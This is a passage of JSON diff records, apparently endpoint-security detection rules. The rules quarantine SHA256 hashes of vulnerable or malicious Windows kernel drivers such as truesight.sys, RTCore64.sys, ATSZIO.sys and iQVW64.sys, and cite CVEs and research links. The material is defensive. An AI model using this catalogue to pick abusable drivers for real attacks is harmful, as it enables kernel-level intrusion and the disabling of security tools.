+  "creation_date": "2026-03-23T11:45:31.154317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76959cc4c02c08fe11c76a1390f5fe681470cb112b8e5dda1a07ebbf10f675f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0e2e060-c822-5e6e-b214-bb115e1e2cec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826815Z",
+  "creation_date": "2026-03-23T11:45:30.826818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8117b99bfa76722d593a60185368304e7eae96a2018430fb9382b740cc68ca7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0e58ad1-f1b7-5dbe-9ef9-1d7b5cf2e12e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153971Z",
+  "creation_date": "2026-03-23T11:45:31.153973Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "007c79a894bb05c1e0a043a5a3468ae1b21c6bd28f77084045423200186691f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0e9d8a8-d11e-51a8-9829-1ad0a8239a2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156091Z",
+  "creation_date": "2026-03-23T11:45:31.156093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be335b1a16e6dcbe99f90c03756369969f88642a9a033bd797478f9a12d4bf74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0effe10-7cd5-5baa-b6b8-50f8aba063ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141024Z",
+  "creation_date": "2026-03-23T11:45:31.141026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c702628c85e8c787562444eb9913a410644a9f7ebdb9e9257e233ace66f4299f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0f154df-6017-5411-87b9-a542eaec2bc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833726Z",
+  "creation_date": "2026-03-23T11:45:30.833730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d6194270f505b49f7b1289249605bf7000b97f52aa9f06cb7c1e94c50d71d39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0fb6ec1-19e6-54c4-9ea9-e9c62583dfff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612317Z",
+  "creation_date": "2026-03-23T11:45:29.612318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d10adcd6-224a-5685-8a40-93daddce5be7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828221Z",
+  "creation_date": "2026-03-23T11:45:30.828224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91f63fb221f9cc3d3042f0def671b3c9d8aa6daab71b31ce4c49289788d6b89b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d121ded0-fcba-52f4-9dfd-601f6d45d7b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477288Z",
+  "creation_date": "2026-03-23T11:45:31.477292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a874d95a024183c7f3f885180a4520b069df40e558598703cf56756510d97d49",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1220561-9f6f-5a70-bcf6-49d61d933be3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607613Z",
+  "creation_date": "2026-03-23T11:45:29.607615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f20541f859f21b3106e12d37182b1ea39bb75ffcfcddb2ece4f6edd42c0bab2",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d123778c-e263-5486-9dde-18562873d99e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824006Z",
+  "creation_date": "2026-03-23T11:45:31.824009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85149fa4fbeaf225c5bf7e8b2f84b21e4305bc8fa61098e0d3b9cc437479958e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d12edae2-6cb1-5d32-9c37-dbe58dc94c27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474330Z",
+  "creation_date": "2026-03-23T11:45:30.474333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c03f7e80857630277d292ad7324541cad38f652a199d94bc18a10aef98c8bfa",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d13ff1c1-c131-5584-9e70-4288ce1d297b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829575Z",
+  "creation_date": "2026-03-23T11:45:31.829577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6f6ab1d4ee5f77b1333935ebb5afca18ed35c1773b940c4c9964329abe9be84",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1503b27-3457-582a-be96-293a11e62ff6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145147Z",
+  "creation_date": "2026-03-23T11:45:31.145149Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1be65ff6fb2f175ba8efcca55fd6ca238c817ca541735d4b89f9d771aaf682b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d16b0862-f27c-5873-a067-d000aef2e18e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976410Z",
+  "creation_date": "2026-03-23T11:45:29.976412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976417Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b1b15a3aacb0e786a608726c3abfc94968915cedcbd239ddf903c4a54bfcf0c",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d17b2db5-bced-5852-84f2-718f6666b0c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814261Z",
+  "creation_date": "2026-03-23T11:45:31.814264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5de574260ae036244f729af8d2d84800254161363a5c2916279fef35c9c0aea6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d18089a3-090d-516a-9b37-b938fe531db1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974969Z",
+  "creation_date": "2026-03-23T11:45:29.974971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4a7794cdb933d71f57cf9f31188c1152bdc9fc429e17a84c4f639942965311d",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1ac343b-ae92-5a76-9312-ee659f7dc767",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972336Z",
+  "creation_date": "2026-03-23T11:45:29.972338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f94d9180104c820c3d27f03e20f5bbc9d2a5bc2ae6e74baf2a848f2f1790ec8",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1b07451-19aa-5dd8-9251-9277051296ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825817Z",
+  "creation_date": "2026-03-23T11:45:30.825819Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e58d77e44f08795e33c421b7c3659ba898ac371b6f2986334e09078755a4f20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1b2dddd-e643-5346-8487-b9634258fdd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147935Z",
+  "creation_date": "2026-03-23T11:45:31.147937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147942Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "320d0e2f0f941424f2f1c4ace98203648db1f1ceebb02365829f0ffe6fc4c8fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1c9c98d-56e3-5c4c-9397-e7a014403630",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141290Z",
+  "creation_date": "2026-03-23T11:45:31.141292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b4b0a78190d65994a711b909cc14097b72510006a042770bd0a9f1548b9464b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1cd5a12-2903-5dbb-af5e-896d10ed6bc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831513Z",
+  "creation_date": "2026-03-23T11:45:30.831515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c7120fae962b3574d4953e088b1791c77482ec7dbb88ecd7acefd1934d91a77",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d1e4ea94-73c3-5785-817c-3fdd4125a984",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605717Z",
+  "creation_date": "2026-03-23T11:45:29.605719Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
